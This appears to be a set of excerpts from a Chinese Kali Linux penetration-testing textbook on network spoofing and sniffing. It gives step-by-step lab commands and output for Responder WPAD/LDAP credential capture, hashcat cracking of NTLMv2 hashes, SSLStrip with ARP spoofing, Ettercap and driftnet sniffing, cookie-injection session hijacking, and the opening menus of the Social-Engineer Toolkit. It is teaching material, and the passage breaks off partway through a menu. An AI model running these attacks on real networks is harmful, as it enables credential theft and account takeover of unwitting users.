    {"text": "未知 9.10.2 获取用户信息 【实例9-11】 使用Responder工具伪造WPAD代理服务认证，以获取目标主机的认证信息。 具体操作步骤如下： （1）启动Responder工具，以伪造WPAD代理服务认证。"},
    {"text": "执行命令： root@daxueba:~# responder -I eth0 -wrF __ .----.-----.-----.-----.-----.-----.--| |.-----.----. | _| -__|__ --| _ | _ | | _ || -__| _| |__| |_____|_____| __|_____|__|__|_____||_____|__| |__| NBT-NS, LLMNR & MDNS Responder 2.3.4.0 Author: Laurent Gaffie (laurent.gaffie@gmail.com) To kill this script hit CTRL-C [+] Poisoners: LLMNR [ON] NBT-NS [ON] DNS/MDNS [ON] [+] Servers: HTTP server [ON] HTTPS server [ON] WPAD proxy [ON] #WPAD代理 Auth proxy [OFF] SMB server [ON] Kerberos server [ON] SQL server [ON] FTP server [ON] IMAP server [ON] POP3 server [ON] SMTP server [ON] DNS server [ON] LDAP server [ON] RDP server [ON] [+] HTTP Options: Always serving EXE [OFF] Serving EXE [OFF] Serving HTML [OFF] Upstream Proxy [OFF] [+] Poisoning Options: Analyze Mode [OFF] Force WPAD auth [ON] Force Basic Auth [OFF] Force LM downgrade [OFF] Fingerprint hosts [OFF] [+] Generic Options: Responder NIC [eth0] Responder IP [192.168.198.141] Challenge set [random] Don't Respond To Names ['ISATAP'] [+] Listening for events... 从输出的信息中可以看到，已成功启动了伪WPAD代理服务，并且正在监听器认证信息。"},
    {"text": "在IE浏览器的菜单栏中，依次选择“设置”|“Internet选项”命令，打开“Internet选项”对话框，选择“连接”选项卡，如图9.18所示。 （3）单击“局域网设置”按钮，将打开“局域网（LAN）设置”对话框，如图9.19所示。 图9.18 “连接”选项卡 图9.19 “局域网（LAN）设置”对话框 （4）从该对话框中可以看到，已启动“自动检测设置”功能。"},
    {"text": "监听到的身份认证信息如下： [HTTP] Sending NTLM authentication request to 192.168.198.136 [HTTP] GET request from: 192.168.198.136 URL: /wpad.dat [HTTP] Host : 192.168.198.141 [HTTP] NTLMv2 Client : 192.168.198.136 [HTTP] NTLMv2 Username : TEST-PC\\Administrator [HTTP] NTLMv2 Hash : Administrator::TEST-PC:b1efe0c0797ddbeb:EBFFECDA0 B36A853EB6511F7E6FF6761:01010000000000008BA70A92C397D5011334A8145DE93F3 2000000000200060053004D0042000100160053004D0042002D0054004F004F004C004B 00490054000400120073006D0062002E006C006F00630061006C0003002800730065007 20076006500720032003000300033002E0073006D0062002E006C006F00630061006C00 0500120073006D0062002E006C006F00630061006C00080030003000000000000000000 0000000300000F63DD37594BBDCC10208C616579B7011181FE54D4DFC5FFFD8A9580B18 FA7A9206000400040000000A00100000000000000000000000000000000000090028004 8005400540050002F003100390032002E003100360038002E003100390038002E003100 340031000000000000000000 [HTTP] WPAD (auth) file sent to 192.168.198.136 从输出的信息中可以看到，已成功通过伪WPAD代理服务嗅探到目标用户的身份认证信息。"},
    {"text": "执行命令： root@daxueba:/usr/share/responder/logs# hashcat -m 5600 HTTP-NTLMv2-192. 168.198.136.txt /root/password --force hashcat (v5.1.0) starting... OpenCL Platform #1: The pocl project ==================================== * Device #1: pthread-Intel(R) Core(TM) i7-2600 CPU @ 3.40GHz, 512/1475 MB allocatable, 2MCU Hashes: 6 digests; 4 unique digests, 4 unique salts Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates Rules: 1 Applicable optimizers: * Zero-Byte * Not-Iterated Minimum password length supported by kernel: 0 Maximum password length supported by kernel: 256 ATTENTION! Pure (unoptimized) OpenCL kernels selected. This enables cracking passwords and salts > length 32 but for the price of drastically reduced performance. If you want to switch to optimized OpenCL kernels, append -O to your commandline. Watchdog: Hardware monitoring interface not found on your system. Watchdog: Temperature abort trigger disabled. * Device #1: build_opts '-cl-std=CL1.2 -I OpenCL -I /usr/share/hashcat/ OpenCL -D LOCAL_MEM_TYPE=2 -D VENDOR_ID=64 -D CUDA_ARCH=0 -D AMD_ROCM=0 -D VECT_SIZE=8 -D DEVICE_TYPE=2 -D DGST_R0=0 -D DGST_R1=3 -D DGST_R2=2 -D DGST_R3=1 -D DGST_ELEM=4 -D KERN_TYPE=5600 -D _unroll' Dictionary cache hit: * Filename..: /root/password * Passwords.: 7 * Bytes.....: 45 * Keyspace..: 7 The wordlist or mask that you are using is too small. This means that hashcat cannot use the full parallel power of your device(s). Unless you supply more work, your cracking speed will drop. For tips on supplying more work, see: https://hashcat.net/faq/morework Approaching final keyspace - workload adjusted. ADMINISTRATOR::TEST-PC:b1efe0c0797ddbeb:ebffecda0b36a853eb6511f7e6ff676 1:01010000000000008ba70a92c397d5011334a8145de93f32000000000200060053004 d0042000100160053004d0042002d0054004f004f004c004b0049005400040012007300 6d0062002e006c006f00630061006c00030028007300650072007600650072003200300 0300033002e0073006d0062002e006c006f00630061006c000500120073006d0062002e 006c006f00630061006c000800300030000000000000000000000000300000f63dd3759 4bbdcc10208c616579b7011181fe54d4dfc5fffd8a9580b18fa7a920600040004000000 0a001000000000000000000000000000000000000900280048005400540050002f00310 0390032002e003100360038002e003100390038002e0031003400310000000000000000 00:123456 Session.......... : hashcat Status........... : Cracked Hash.Type........ : NetNTLMv2 Hash.Target...... : HTTP-NTLMv2-192.168.198.136.txt Time.Started..... : Fri Nov 15 16:53:28 2019 (0 secs) Time.Estimated... : Fri Nov 15 16:53:28 2019 (0 secs) Guess.Base....... : File (/root/password) Guess.Queue...... : 1/1 (100.00%) Speed.#1......... : 166 H/s (0.03ms) @ Accel:1024 Loops:1 Thr:1 Vec:8 Recovered........ : 4/4 (100.00%) Digests, 4/4 (100.00%) Salts Progress......... : 28/28 (100.00%) Rejected......... : 0/28 (0.00%) Restore.Point.... : 0/7 (0.00%) Restore.Sub.#1... : Salt:3 Amplifier:0-1 Iteration:0-1 Candidates.#1.... : test -> admin Started: Fri Nov 15 16:53:26 2019 Stopped: Fri Nov 15 16:53:30 2019 从输出的信息中可以看到，已成功破解出了哈希密码。"},
    {"text": "未知 9.11 伪造LDAP服务认证 轻量目录访问协议（Lightweight Directory Access Protocol，LDAP）是一个目录数据库服务。该数据库在企业员工查询信息方面简化了很多的流程，非常方便。攻击者可以利用Responder工具创建伪LDAP服务认证，用来嗅探目标用户的认证信息。本节将介绍使用Responder工具伪造LDAP服务认证的方法。 【实例9-12】 使用Responder工具伪造LDAP服务认证。具体操作步骤如下： （1）启动Responder工具，伪造LDAP服务认证。执行命令： root@daxueba:~# responder -I eth0 -wrbv __ .----.-----.-----.-----.-----.-----.--| |.-----.----. | _| -__|__ --| _ | _ | | _ || -__| _| |__| |_____|_____| __|_____|__|__|_____||_____|__| |__| NBT-NS, LLMNR & MDNS Responder 2.3.4.0 Author: Laurent Gaffie (laurent.gaffie@gmail.com) To kill this script hit CTRL-C [+] Poisoners: LLMNR [ON] NBT-NS [ON] DNS/MDNS [ON] [+] Servers: HTTP server [ON] HTTPS server [ON] WPAD proxy [ON] Auth proxy [OFF] SMB server [ON] Kerberos server [ON] SQL server [ON] FTP server [ON] IMAP server [ON] POP3 server [ON] SMTP server [ON] DNS server [ON] LDAP server [ON] #LDAP服务 RDP server [ON] [+] HTTP Options: Always serving EXE [OFF] Serving EXE [OFF] Serving HTML [OFF] Upstream Proxy [OFF] [+] Poisoning Options: Analyze Mode [OFF] Force WPAD auth [OFF] Force Basic Auth [ON] Force LM downgrade [OFF] Fingerprint hosts [OFF] [+] Generic Options: Responder NIC [eth0] Responder IP [192.168.198.141] Challenge set [random] Don't Respond To Names ['ISATAP'] [+] Listening for events... 从输出的信息中可以看到，已成功启动了伪LDAP服务。当用户使用LDAP客户端连接该数据库服务器时，其认证信息即可被嗅探到。在Windows系统中，用户可以尝试使用LdapAdmin和ldp工具来测试该伪LDAP服务认证。 （2）这里使用LdapAdmin客户端工具验证伪LDAP服务认证。其中，LdapAdmin客户端的配置信息如图9.21所示。 图9.21 LDAP客户端的配置信息 （3）在该对话框中的“Host”文本框中输入伪LDAP服务器的地址，单击“OK”按钮后，其认证信息将被Responder工具监听到。监听到的认证信息如下： [*] Skipping one character username: [LDAP] Cleartext Client : 192.168.198.136 [LDAP] Cleartext Username : daxueba [LDAP] Cleartext Password : password 从输出信息中可以看到，已成功嗅探到LDAP服务的认证信息。其中，认证的用户名为daxueba，密码为password。 未知 第4篇 数据利用 未知 第10章 数据嗅探 数据嗅探和篡改是网络欺骗的主要目的。在了解了前面章节中介绍的实施网络欺骗的各种方式之后，就可以借助各种工具进行数据嗅探和篡改，如图片、用户登录信息和Cookie等。本章将介绍实施数据嗅探的方法。 未知 10.1 去除SSL/TLS加密 安全套接层（Secure Sockets Layer，SSL）及其继任者传输层安全（Transport Layer Security，TLS）是为网络通信提供安全及数据完整性的一种安全协议。TLS与SSL在传输层与应用层之间对网络连接进行加密。其中，HTTPS就是在HTTP的基础上加入了SSL或TLS层，从而对数据进行加密。如果想要查看HTTPS协议传输的内容，则需要去除SSL/TLS加密。Kali Linux提供了一款名为SSLStrip的工具，可以用来解密SSL/TLS加密数据。本节将介绍如何使用SSLStrip工具去除SSL/TLS加密。 未知 10.1.1 SSLStrip工具工作原理 SSLStrip工具可以进行基于HTTPS体系的攻击。大多数用户不会主动请求SSL协议来保护自己和服务器之间的通信，所以不会在浏览器的地址栏中刻意输入HTTPS://进行网站访问。网站为了安全，会要求用户必须以HTTPS的方式进行访问，这时服务器端会响应302，要求浏览器将HTTP方式重定向为HTTPS方式。 SSLStrip工具利用这个特点，将跳转网址的HTTPS替换为HTTP，然后发送给目标用户。目标用户以HTTP方式重新请求，而SSLStrip工具将HTTP替换为HTTPS，请求对应的网站。这样就形成了目标用户和SSLStrip工具之间以HTTP明文方式的传输，而SSLStrip工具和服务器之间以HTTPS加密方式传输。如此一来，攻击者便能够轻松获取明文数据。SSLStrip工具的工作原理如图10.1所示。 图10.1 SSLStrip工具的工作原理 SSLStrip工具工作的具体过程如下： （1）攻击者利用ARP欺骗等中间人攻击方式成功欺骗目标用户。 （2）目标用户向服务器发送HTTP请求，第三方攻击者如实转发请求。 （3）服务器端回复HTTPS链接给目标用户，攻击者收到请求并将该链接篡改为HTTP链接回复给目标用户。 （4）目标用户再次发送HTTP请求给服务器端，攻击者将其改为HTTPS发送至服务器端。 （5）至此，目标用户与攻击者就建立了一个HTTP明文链接，而攻击者与服务器建立了HTTPS加密链接。因此，目标用户的所有信息都将被攻击者监听到。"},
    {"text": "未知 10.1.2 使用SSLStrip工具 【实例10-1】 使用SSLstrip工具来抓取126邮箱的登录密码。具体操作步骤如下： （1）开启路由转发。执行命令： root@daxueba:~# echo 1 > /proc/sys/net/ipv4/ip_forward （2）使用iptables命令，将所有的HTTP数据导入到10000端口。执行命令： root@daxueba:~# iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000 （3）使用SSLstrip工具监听10000端口，以获取目标主机传输的敏感信息。执行命令： root@daxueba:~# sslstrip -a -l 10000 sslstrip 0.9 by Moxie Marlinspike running... 从输出的信息中可以看到，SSLStrip工具正在运行。此时，在当前目录下创建了一个名为sslstrip.log的日志文件。攻击者通过监控该日志文件，就可以看到目标主机传输的数据。执行命令： root@daxueba:~# tail -f sslstrip.log （4）实施ARP欺骗攻击。攻击者可以使用Ettercap工具或Arpspoof工具来实现ARP欺骗攻击。这里使用Arpspoof工具来发起ARP欺骗攻击，执行命令： root@daxueba:~# arpspoof -i eth0 -t 192.168.0.114 192.168.0.1 （5）在目标主机上访问HTTPS加密网站。如果目标用户提交敏感信息，将会被SSLStrip工具捕获。本例通过登录126邮箱来验证SSLStrip攻击是否成功，当目标用户成功访问126邮箱，将显示如图10.2所示的页面。 图10.2 目标主机访问的页面 （6）从浏览器的地址栏中可以看到HTTPS已被SSLStrip工具解密为HTTP。此时，目标用户输入用户名和密码进行登录，该信息将会被SSLStrip工具捕获。捕获的信息如下： 2019-11-09 11:00:07,205 POST Data (passport.126.com): {\"un\":\"testuser@126.com\",\"pw\":\"Tw9ZuwEgIsl0xheYlVI7NiavLxqQ6W4XhP9DtXR1 k9DKHwZAorGDAevpx71NO35uQSt57R0wF+Hd/RR9y5eNupN9ZJR8ZkqfxtVVj461ts9mss0 /2iKLLFbwxI4RBPfHbUQOaswUY6bDEKxqPXxs3kamkL7TGK8Ifq30aqfFQdw=\",\"pd\":\"ma il126\",\"l\":0,\"d\":10,\"t\":1573268407044,\"pkid\":\"QdQXWEQ\",\"domains\":\"\",\"tk \":\"ea1b9396ea4e35f772341abcc491004f\",\"pwdKeyUp\":1,\"channel\":0,\"topURL\": \"http://mail.126.com/\",\"rtid\":\"5KTYZfmQubLSh82a1FlWv9xJjJxtdn1R\"} 2019-11-09 11:00:09,684 Got server response: HTTP/1.1 200 OK 2019-11-09 11:00:09,685 Got server header: Server:nginx 2019-11-09 11:00:09,685 Got server header: Date:Sat, 09 Nov 2019 03:00:10 GMT 2019-11-09 11:00:09,685 Got server header: Content-Type:application/json; charset=UTF-8 2019-11-09 11:00:09,685 Got server header: Connection:close 2019-11-09 11:00:09,686 Got server header: Vary:Accept-Encoding 2019-11-09 11:00:09,686 Got server header: P3P:CP=CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR 2019-11-09 11:00:09,686 Got server header: Vary:User-Agent 2019-11-09 11:00:09,686 Got server header: Vary:Accept 2019-11-09 11:00:09,686 Read from server: {\"ret\":\"445\"} 从输出信息中可以看到，目标主机访问了 mail.126.com 网站，目标用户提交的用户名为testuser@126.com，密码是加密的。"},
    {"text": "未知 10.2 嗅探图片 当用户成功实施中间人攻击后，可以使用driftnet工具来嗅探图片。driftnet工具是一款简单易用的图片捕获工具，可以很方便地从网络数据包中提取图片。通过与Ettercap工具配合使用，它可以获取目标主机浏览的所有图片。下面介绍如何使用driftnet工具捕获目标主机的图片。 driftnet工具的语法格式如下： driftnet [选项] 该工具可用的选项及含义如下： ·-b：捕获新的图片时发出“嘟嘟”声。 ·-i interface：指定监听接口。 ·-f file：读取一个指定pcap数据包中的图片。 ·-a：后台模式，将捕获的图片保存到目录中，即不显示在屏幕上。 ·-m number：指定保存图片的数目。 ·-d directory：指定保存图片的路径。默认driftnet会使用随机选择的子目录将图片保存到/tmp目录中。 ·-x prefix：指定保存图片的前缀名。默认图片的前缀名为driftnet-。 【实例10-2】 使用driftnet工具捕获目标主机浏览的所有图片。具体操作步骤如下： （1）开启路由转发。执行命令： root@daxueba:~# echo \"1\" > /proc/sys/net/ipv4/ip_forward （2）使用Ettercap工具实施中间人攻击。执行命令： root@daxueba:~# ettercap -Tq -M arp:remote /192.168.0.114// /192.168.0.1// ettercap 0.8.2 copyright 2001-2015 Ettercap Development Team Listening on: eth0 -> 00:0C:29:0B:6E:B5 192.168.0.112/255.255.255.0 fe80::20c:29ff:fe0b:6eb5/64 SSL dissection needs a valid 'redir_command_on' script in the etter.conf file Ettercap might not work correctly. /proc/sys/net/ipv6/conf/eth0/use_tempaddr is not set to 0. Privileges dropped to EUID 65534 EGID 65534... 33 plugins 42 protocol dissectors 57 ports monitored 20388 mac vendor fingerprint 1766 tcp OS fingerprint 2182 known services Lua: no scripts were specified, not starting up! Scanning for merged targets (2 hosts)... * |==================================================>| 100.00 % 3 hosts added to the hosts list... ARP poisoning victims: GROUP 1 : 192.168.0.114 00:0C:29:21:8C:96 GROUP 2 : 192.168.0.1 C8:3A:35:5D:2B:90 Starting Unified sniffing... Text only Interface activated... Hit 'h' for inline help 看到以上输出信息，就表明已成功对目标主机实施了ARP欺骗。接下来，攻击者就可以使用driftnet工具监听目标主机的图片了。 （3）使用driftnet工具开始监听目标主机浏览的所有图片，并指定将监听的图片临时保存到image目录中。执行命令： root@daxueba:~# driftnet -i eth0 -d /root/image 执行以上命令后，将弹出一个driftnet窗口，如图10.3所示。当捕获目标主机浏览的图片时，将显示在该窗口中，如图10.4所示。 图10.3 driftnet窗口 图10.4 捕获的图片 （4）在driftnet监听的交互模式下也可以看到捕获的图片信息，如下： Corrupt JPEG data: 694 extraneous bytes before marker 0x1d Unsupported marker type 0x1d 六 11月 09 11:06:04 2019 [driftnet] warning: driftnet-5b5eee1f515f007c. jpeg: bogus image (err = 4) Corrupt JPEG data: 79 extraneous bytes before marker 0x2e Unsupported marker type 0x2e 六 11月 09 11:06:04 2019 [driftnet] warning: driftnet-5b5eee205bd062c2. jpeg: bogus image (err = 4) Corrupt JPEG data: 456 extraneous bytes before marker 0xf8 Unsupported marker type 0xf8 六 11月 09 11:06:04 2019 [driftnet] warning: driftnet-5b5eee4b12200854. jpeg: bogus image (err = 4) Corrupt JPEG data: 542 extraneous bytes before marker 0xe2 Unsupported JPEG process: SOF type 0xc6 六 11月 09 11:06:04 2019 [driftnet] warning: driftnet-5b5eee594db127f8. jpeg: bogus image (err = 4) Corrupt JPEG data: 660 extraneous bytes before marker 0xca Bogus marker length 六 11月 09 11:06:04 2019 [driftnet] warning: driftnet-5b5eee600216231b. jpeg: bogus image (err = 4) 从显示的信息中可以看到捕获的图片信息。在以上输出的信息中存在一些警告信息，这是一些图片格式不被driftnet工具支持导致的。此时，攻击者进入指定的图片保存位置/root/image的目录中，即可看到捕获的所有图片，并且使用图片查看器可以查看任意图片，显示结果如图10.5所示。 图10.5 图片显示结果 未知 10.3 嗅探用户的敏感信息 当攻击者成功实施中间人攻击后，将会监听到所有的流量。此时，攻击者可以利用一些嗅探工具，来嗅探敏感信息，如用户名、密码、Cookie等。本节将介绍嗅探用户敏感信息。"},
    {"text": "未知 10.3.1 使用Ettercap工具 使用Ettercap工具实施中间人攻击后，将自动监听目标主机的数据。使用该工具，可以嗅探目标主机的HTTP数据。其中，HTTP是以明文传输数据的。如果用户登录HTTP网站的话，将会监听到用户信息。下面将介绍使用Ettercap工具嗅探HTTP数据。 【实例10-3】 使用Ettercap工具嗅探HTTP数据。具体操作步骤如下： （1）使用Ettercap工具对目标主机进行攻击。执行命令： root@daxueba:~# ettercap -Tq -M arp:remote /192.168.0.114// /192.168.0.1// ettercap 0.8.2 copyright 2001-2015 Ettercap Development Team Listening on: eth0 -> 00:0C:29:0B:6E:B5 192.168.0.112/255.255.255.0 fe80::20c:29ff:fe0b:6eb5/64 SSL dissection needs a valid 'redir_command_on' script in the etter.conf file Ettercap might not work correctly. /proc/sys/net/ipv6/conf/eth0/use_tempaddr is not set to 0. Privileges dropped to EUID 65534 EGID 65534... 33 plugins 42 protocol dissectors 57 ports monitored 20388 mac vendor fingerprint 1766 tcp OS fingerprint 2182 known services Lua: no scripts were specified, not starting up! Scanning for merged targets (2 hosts)... * |==================================================>| 100.00 % 3 hosts added to the hosts list... ARP poisoning victims: GROUP 1 : 192.168.0.114 00:0C:29:21:8C:96 GROUP 2 : 192.168.0.1 C8:3A:35:5D:2B:90 Starting Unified sniffing... Text only Interface activated... Hit 'h' for inline help 看到以上输出信息，就表明已成功对目标实施了ARP欺骗攻击。 （2）此时，当目标主机访问HTTP网站时，将会被攻击主机监听到。例如，在目标主机上登录路由器，攻击主机将看到如下所示的信息： HTTP : 192.168.0.1:80 -> USER: admin PASS: admin INFO: 192.168.0.1/ login.asp HTTP : 192.168.0.1:80 -> USER: admin PASS: admin INFO: 192.168.0.1/ login.asp HTTP : 192.168.0.1:80 -> USER: admin PASS: admin INFO: 192.168.0.1/ system_status.asp HTTP : 192.168.0.1:80 -> USER: admin PASS: admin INFO: 192.168.0.1/ 从输出的信息中可以看到监听到的目标主机访问路由器的登录信息。其中，用户名和密码都为admin。"},
    {"text": "未知 10.3.2 捕获及利用Cookie 一些网站服务器会将用户的登录信息加密，因此，攻击者即使捕获对应的数据包，如果不知道其用户名和密码也无法访问其网页内容。"},
    {"text": "下面将介绍如何通过Wireshark来捕获Cookie信息，并使用Cookie Injecting Tools工具注入Cookie信息，进而实现免登录访问站点。 1.捕获Cookie信息 【实例10-4】 使用Wireshark捕获Cookie信息。"},
    {"text": "执行命令： root@daxueba:~# echo 1 > /proc/sys/net/ipv4/ip_forward （2）对目标主机实施ARP欺骗攻击。 执行命令： root@daxueba:~# arpspoof -i eth0 -t 192.168.0.114 192.168.0.1 （3）在攻击主机上使用Wireshark嗅探目标主机的数据包。"},
    {"text": "在窗口的菜单栏中依次选择“应用程序”|“嗅探/欺骗”|wireshark命令，启动Wireshark，打开如图10.6所示的窗口。 或者，在终端使用wireshark命令，启动Wireshark，执行命令如下： root@daxueba:~# wireshark （4）在该窗口中选择接口eth0，并单击按钮将开始捕获数据包。"},
    {"text": "现在，在显示过滤器文本框中输入显示过滤器http.cookie，过滤捕获包含cookie的HTTP数据包，显示结果如图10.8所示。 图10.8 过滤结果 （6）从该页面可以看到应用显示过滤器匹配的HTTP Cookie的包。"},
    {"text": "【实例10-5】 使用Cookie Injecting Tools工具实现免登录访问站点。 具体操作步骤如下： （1）下载Cookie Injecting Tools插件。 下载地址为 https://github.com/lfzark/cookie-injecting-tools/ 。 下载完成后，其软件包名为cookie-injecting-tools-master.zip。 解压该软件包，将会得到一个名为cookie_injecting_tools 1.0.0.crx的文件。 （2）加载Cookie Injecting Tools插件。"},
    {"text": "图10.10 扩展程序界面 （3）将解压出的cookie_injecting_tools 1.0.0.crx文件拖到Chrome的“扩展程序”页面，并添加到浏览器中。 当将cookie_injecting_tools 1.0.0.crx文件拖到Chrome的“扩展程序”页面时，将弹出一个提示对话框，如图10.11所示。"},
    {"text": "图10.12 插件添加成功 图10.13 Cookie Injecting Tools工具对话框 （6）在该对话框中有4个选项卡，分别是Inject Cookies（注入Cookie）、View Cookies（查看Cookie）、Edit/Add Cookies（编辑/添加Cookie）和Advanced Options（高级选项）。"},
    {"text": "图10.14 163邮箱登录页面 （7）启动Cookie Injecting Tools工具，并将利用Wireshark工具复制的Cookie信息粘贴到Inject Cookies选项卡的文本框中，如图10.15所示。 图10.15 粘贴Cookie信息 （8）单击Inject Cookies按钮，将在文本框下方显示Inject Success，表示注入成功，如图10.16所示。 图10.16 Cookie注入成功 （9）在浏览器中重新刷新页面，即可成功登录163邮箱，如图10.17所示。 图10.17 成功登录163邮箱 3.插件加载失败问题 在Chrome浏览器中安装Cookie Injecting Tools插件的过程中，可能会提示“程序包无效:\"CRX_HEADER_INVALID\"。"},
    {"text": "这里将插件的扩展名修改为.rar，如图10.20所示。 图10.20 修改插件的扩展名 （3）右击cookie_injecting_tools 1.0.0.rar文件，在弹出的快捷菜单中选择相应的命令进行解压。"},
    {"text": "图10.21 解压完成 （4）在Chrome浏览器的“扩展程序”页面单击左上方的“加载已解压的扩展程序”按钮，将打开“选择扩展程序目录”对话框，如图10.22所示。"},
    {"text": "图10.22 “选择扩展程序目录”对话框 （5）选择cookie_injecting_tools 1.0.0文件夹，单击“选择文件夹”按钮，插件即可安装成功，如图10.23所示。"},
    {"text": "执行命令： root@daxueba:~# setoolkit 执行以上命令后，将显示如下所示的信息： [-] New set.config.py file generated on: 2019-11-09 11:11:40.034767 [-] Verifying configuration update... [*] Update verified, config timestamp is: 2019-11-09 11:11:40.034767 [*] SET is using the new config, no need to restart Copyright 2019, The Social-Engineer Toolkit (SET) by TrustedSec, LLC All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. * Neither the name of Social-Engineer Toolkit nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. The above licensing was taken from the BSD licensing and is applied to Social-Engineer Toolkit as well. Note that the Social-Engineer Toolkit is provided as is, and is a royalty free open-source application. Feel free to modify, use, change, market, do whatever you want with it as long as you give the appropriate credit where credit is due (which means giving the authors the credit they deserve for writing it). Also note that by using this software, if you ever see the creator of SET in a bar, you should (optional) give him a hug and should (optional) buy him a beer (or bourbon - hopefully bourbon). Author has the option to refuse the hug (most likely will never happen) or the beer or bourbon (also most likely will never happen). Also by using this tool (these are all optional of course!), you should try to make this industry better, try to stay positive, try to help others, try to learn from one another, try stay out of drama, try offer free hugs when possible (and make sure recipient agrees to mutual hug), and try to do everything you can to be awesome. The Social-Engineer Toolkit is designed purely for good and not evil. If you are planning on using this tool for malicious purposes that are not authorized by the company you are performing assessments for, you are violating the terms of service and license of this toolset. By hitting yes (only one time), you agree to the terms of service and that you will only use this tool for lawful purposes only. Do you agree to the terms of service [y/n]: y #输入“y”同意服务条款 以上信息只在第一次启动时才会出现。"},
    {"text": "输入y后，将显示如下信息： . .. MMMMMNMNMMMM= .DMM. .MM$ .MM. MM,. MN. MM. .M. MM .M ..................... NM MM .8888888888888888888. M7 .M 88888888888888888888. ,M MM ..888.MMMMM . .M. MM 888.MMMMMMMMMMM M MM 888.MMMMMMMMMMM. M MM 888. NMMMM. .M M. 888.MMMMMMMMMMM. ZM NM. 888.MMMMMMMMMMM M: .M+ ..... MM. .MM. .MD MM . .MM $MM .MM. ,MM? .MMM ,MMMMMMMMMMM https://www.trustedsec.com [---] The Social-Engineer Toolkit (SET) [---] [---] Created by: David Kennedy (ReL1K) [---] Version: 8.0.1 Codename: 'Maverick - BETA' [---] Follow us on Twitter: @TrustedSec [---] [---] Follow me on Twitter: @HackingDave [---] [---] Homepage: https://www.trustedsec.com [---] Welcome to the Social-Engineer Toolkit (SET). The one stop shop for all of your SE needs. Join us on irc.freenode.net in channel #setoolkit The Social-Engineer Toolkit is a product of TrustedSec. Visit: https://www.trustedsec.com It's easy to update using the PenTesters Framework! (PTF) Visit https://github.com/trustedsec/ptf to update all your tools! Select from the menu: #菜单栏 1) Social-Engineering Attacks #社会工程学攻击 2) Penetration Testing (Fast-Track) #渗透测试 3) Third Party Modules #第三方模块 4) Update the Social-Engineer Toolkit #更新Social-Engineer Toolkit 5) Update SET configuration #更新SET配置 6) Help, Credits, and About #帮助信息 99) Exit the Social-Engineer Toolkit #退出Social-Engineer Toolkit set> 以上信息显示了SET的创建者、版本、可利用的菜单等。"},
    {"text": "（2）本例中选择社会工程学攻击，所以在set>后输入1，将显示如下所示的信息： set> 1 _ J /-\\ J _____|#|_____ J |_____________| J |_______________| E ||_POLICE_##_BOX_|| R | |-|-|-|||-|-|-| | O | |-|-|-|||-|-|-| | N | |_|_|_|||_|_|_| | I | ||~~~| | |---|| | M | ||~~~|!|!| O || | O | ||~~~| |.|___|| | O | ||---| | |---|| | O | || | | | || | O | ||___| | |___|| | ! | ||---| | |---|| | ! | || | | | || | ! | ||___| | |___|| | ! |-----------------| ! | Timey Wimey | ! ------------------- ! [---] The Social-Engineer Toolkit (SET) [---] [---] Created by: David Kennedy (ReL1K) [---] [---] Version: 8.0.1 [---] [---] Codename: ' Maverick - BETA ' [---] [---] Follow us on Twitter: @TrustedSec [---] [---] Follow me on Twitter: @HackingDave [---] [---] Homepage: https://www.trustedsec.com [---] Welcome to the Social-Engineer Toolkit (SET). The one stop shop for all of your SE needs. Join us on irc.freenode.net in channel #setoolkit The Social-Engineer Toolkit is a product of TrustedSec. Visit: https://www.trustedsec.com It's easy to update using the PenTesters Framework! (PTF) Visit https://github.com/trustedsec/ptf to update all your tools! Select from the menu: 1) Spear-Phishing Attack Vectors #钓鱼攻击向量 2) Website Attack Vectors #Web攻击向量 3) Infectious Media Generator #介质感染攻击发生器 4) Create a Payload and Listener #创建攻击载荷和监听器 5) Mass Mailer Attack #群发邮件攻击 6) Arduino-Based Attack Vector #基于Arduino攻击向量 7) Wireless Access Point Attack Vector #无线AP攻击向量 8) QRCode Generator Attack Vector #二维码生成攻击向量 9) Powershell Attack Vectors #Powershell攻击向量 10) SMS Spoofing Attack Vector #短信欺骗攻击向量 11) Third Party Modules #第三方模块 99) Return back to the main menu. #返回主菜单 以上输出的信息显示了社会工程学的菜单选项。"},
    {"text": "（3）这里选择Web攻击向量，所以输入2，将显示如下所示的信息： set> 2 The Web Attack module is a unique way of utilizing multiple web-based attacks in order to compromise the intended victim. The Java Applet Attack method will spoof a Java Certificate and deliver a metasploit based payload. Uses a customized java applet created by Thomas Werth to deliver the payload. The Metasploit Browser Exploit method will utilize select Metasploit browser exploits through an iframe and deliver a Metasploit payload. The Credential Harvester method will utilize web cloning of a web- site that has a username and password field and harvest all the information posted to the website. The TabNabbing method will wait for a user to move to a different tab, then refresh the page to something different. The Web-Jacking Attack method was introduced by white_sheep, emgent. This method utilizes iframe replacements to make the highlighted URL link to appear legitimate however when clicked a window pops up then is replaced with the malicious link. You can edit the link replacement settings in the set_config if its too slow/fast. The Multi-Attack method will add a combination of attacks through the web attack menu. For example you can utilize the Java Applet, Metasploit Browser, Credential Harvester/Tabnabbing all at once to see which is successful. The HTA Attack method will allow you to clone a site and perform powershell injection through HTA files which can be used for Windows-based powershell exploitation through the browser. 1) Java Applet Attack Method # 